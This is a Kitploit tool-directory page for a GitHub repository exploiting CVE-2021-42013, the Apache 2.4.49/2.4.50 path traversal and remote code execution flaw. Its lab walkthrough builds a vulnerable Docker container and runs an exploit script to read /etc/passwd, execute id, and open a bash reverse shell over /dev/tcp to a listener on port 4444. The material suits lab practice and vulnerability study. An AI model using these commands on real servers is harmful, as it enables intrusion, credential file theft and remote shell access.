Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-42013 | Kitploit
Tools/GitHubGitHub/asepsaepdin/cve-2021-42013
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationRemote Access ToolLabs & Practice
GitHubasepsaepdin/cve-2021-42013

CVE-2021-42013

View Repository
11 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2021-42013 - Apache 2.4.50 Path Traversal & Remote Code Execution (RCE)


⚠️ For educational and authorized security research purposes only

Original Exploit Authors

Very grateful to the original PoC author Walnut Security Services Pvt. Ltd

Description

An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration "require all denied", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue only affects Apache 2.4.49 and Apache 2.4.50 and not earlier versions.


Step Guides

  1. First, clone the repository

    root@kitploit:~
    git clone https://github.com/asepsaepdin/CVE-2021-42013.git
    
  2. Change directory

    root@kitploit:~
    cd CVE-2021-42013
    
  3. Build vuln container

    root@kitploit:~
    docker build -t CVE-2021-42013 .
    
  4. Run ephemeral container

    root@kitploit:~
    docker run --rm -it --name CVE-2021-42013 CVE-2021-42013
    
  5. Check container ip address

    root@kitploit:~
    docker inspect CVE-2021-42013 | grep "IPAddress"
    
  6. Give executable permission to script

    root@kitploit:~
    chmod +x cve-2021-42013.sh
    
  7. To test for and confirm path traversal, a valid directory needs to be discovered which in this case is configured as /icons. So, executing the following command would trigger path traversal vulnerability and print the contents of /etc/passwd:

    root@kitploit:~
    ./cve-2021-42013.sh 172.17.0.3/icons /etc/passwd
    
  8. To test for and confirm remote code execution, CGI should be configured and enabled which in this case is true. So, executing the following command would trigger remote code execution and print the output of the id command:

    root@kitploit:~
    ./cve-2021-42013.sh 172.17.0.3 /bin/bash id
    
  9. From an attacker perspective, remote code execution is critical to get access to an interactive shell. So, executing the following command would trigger a conventional reverse shell over tcp based on bash to attacker’s system on port 4444/tcp:

    root@kitploit:~
    ./cve-2021-42013.sh 172.17.0.4 /bin/bash 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'
    
    root@kitploit:~
    nc -nlvp 4444
    

Credits

  • https://github.com/walnutsecurity/cve-2021-42013
  • https://nvd.nist.gov/vuln/detail/CVE-2021-42013
  • https://www.exploit-db.com/docs/50552
  • https://www.exploit-db.com/exploits/50406
Download Tool